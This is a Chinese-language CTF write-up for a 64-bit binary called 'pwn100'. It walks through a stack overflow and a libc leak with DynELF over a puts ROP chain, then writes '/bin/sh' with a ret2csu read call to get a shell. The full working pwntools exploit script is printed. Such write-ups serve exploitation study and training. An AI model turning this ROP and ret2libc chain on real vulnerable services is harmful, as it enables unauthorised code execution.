pwn萌新做pwn题了
首先checksec
shellcode肯定是行不通了
IDA打开看看
发现有个函数,读取200字节,但a1数组却只有40字节,出现了栈溢出漏洞,那么EIP就是在48字节之后的八个字节
查看程序导入,发现没有system,查看string,发现没有’/bin/sh’
所以要先想办法泄露system的地址,用Dynelf即可,那么如何写泄露函数呢?
由于是64位系统,所以得想办法修改rdi寄存器的值,找到相应的代码段(gadget,例如pop rdi,ret),然后利用ROP执行过去修改rdi,最后还要跳回到start,代码复用
p=process("./pwn100")
elf=ELF("./pwn100")
puts_addr=elf.plt["puts"]
read_addr=elf.got["read"]
start_addr=0x400550
rdi=0x400763 #pop rdi,ret
def leak(addr):
payload='a'*0x48+p64(rdi)+p64(addr)
payload+=p64(puts_addr)+p64(start_addr) #构造puts栈帧,泄露地址,然后返回到start
payload=payload.ljust(200,'a') #由于要读入200字节,补全即可
p.send(payload)
p.recvuntil("bye~\n")
before=""
buf=""
count=0
while True: #puts函数截断,需要独特的读取技巧
c=p.recv(numb=1,timeout=0.5)
count+=1
if before=='\n' and c=="":
buf=buf[:-1]
buf+="\x00"
break
else:
buf+=c
before=c
buf=buf[:4] #这就是泄露的地址
log.info("%#x => %s" % (addr,(buf or '').encode('hex')))
return buf
libc=DynELF(leak,elf=elf)
sys_addr=libc.lookup("system","libc")
print(hex(sys_addr))
这样就可以泄露system的地址了
但是还得有system的参数’/bin/sh’
由于导入了read,函数于是乎可以利用rop对内存区域进行任意写,随便找块可写的地址写入参数
rop1=0x40075A
rop2=0x400740
payload='a'*0x48+p64(rop1)+p64(0)+p64(1)+p64(read_addr)+p64(8)+p64(0x601000)+p64(1)
payload=payload+p64(rop2)+"\x00"*56+p64(start_addr)
payload=payload.ljust(200,'a')
p.send(payload)
p.recvuntil("bye~\n")
p.send("/bin/sh\x00")
我们知道read有三个参数,所以必须要使用的三个传参寄存器rdi, rsi, rdx
在这一段代码中都有相应的代码进行修改。
所以这里看得出,rdi(edi)由r15d修改,rsi由r14修改,rdx由r13修改,而这里的r13,r14,r15由0x40075A处的代码进行修改。
所以我们需要先修改r13 r14 r15,然后再mov给rdi,rsi,rdx
于是乎可以得到payload要先执行0x40075A处,再执行0x400740.
而rop1为什么要从pop rbx开始呢,我们看看400740处的代码,发现有个call和jmp,既然我们要调用read为什么不直接用现成的代码段,而非再构建一个呢?
所以我们可以控制r12为read地址,rbx为0,这样r12+rbx*8就是read的地址,同时又可以绕过后面的jnz,岂不美哉!!!!
当然我们可以发现,执行了rop2,后面的六个pop再次执行了一遍,这是没有意义的,但是你执行完rop2在覆盖eip的时候,会进行六个pop,还有个add rsp,8.
从这里可以看出栈指针rsp下降了7*8个字节,而ret是根据栈顶来取地址放入eip的,所以在中间还要填充56个字节(这里是’\x00’)
现在已经得到了system地址和’/bin/sh’,最后在利用一次,获取shell
代码汇总一下:
from pwn import *
context.log_level='debug'
p=process("./pwn100")
elf=ELF("./pwn100")
puts_addr=elf.plt["puts"]
read_addr=elf.got["read"]
start_addr=0x400550
rdi=0x400763
rop1=0x40075A
rop2=0x400740
def leak(addr):
payload='a'*0x48+p64(rdi)+p64(addr)
payload+=p64(puts_addr)+p64(start_addr)
payload=payload.ljust(200,'a')
p.send(payload)
p.recvuntil("bye~\n")
before=""
buf=""
count=0
while True:
c=p.recv(numb=1,timeout=0.5)
count+=1
if before=='\n' and c=="":
buf=buf[:-1]
buf+="\x00"
break
else:
buf+=c
before=c
buf=buf[:4]
log.info("%#x => %s" % (addr,(buf or '').encode('hex')))
return buf
libc=DynELF(leak,elf=elf)
sys_addr=libc.lookup("system","libc")
print(hex(sys_addr))
payload='a'*0x48+p64(rop1)+p64(0)+p64(1)+p64(read_addr)+p64(8)+p64(0x601000)+p64(1)
payload=payload+p64(rop2)+"\x00"*56+p64(start_addr)
payload=payload.ljust(200,'a')
p.send(payload)
p.recvuntil("bye~\n")
p.send("/bin/sh\x00")
payload="a"*0x48+p64(rdi)+p64(0x601000)+p64(sys_addr)
payload=payload.ljust(200,"a")
p.send(payload)
p.interactive()
还有一件事,这个0x601000是可以写的地址,用于写入/bin/sh。。
最后附上另外一个ROP原理解惑文章23333
ROP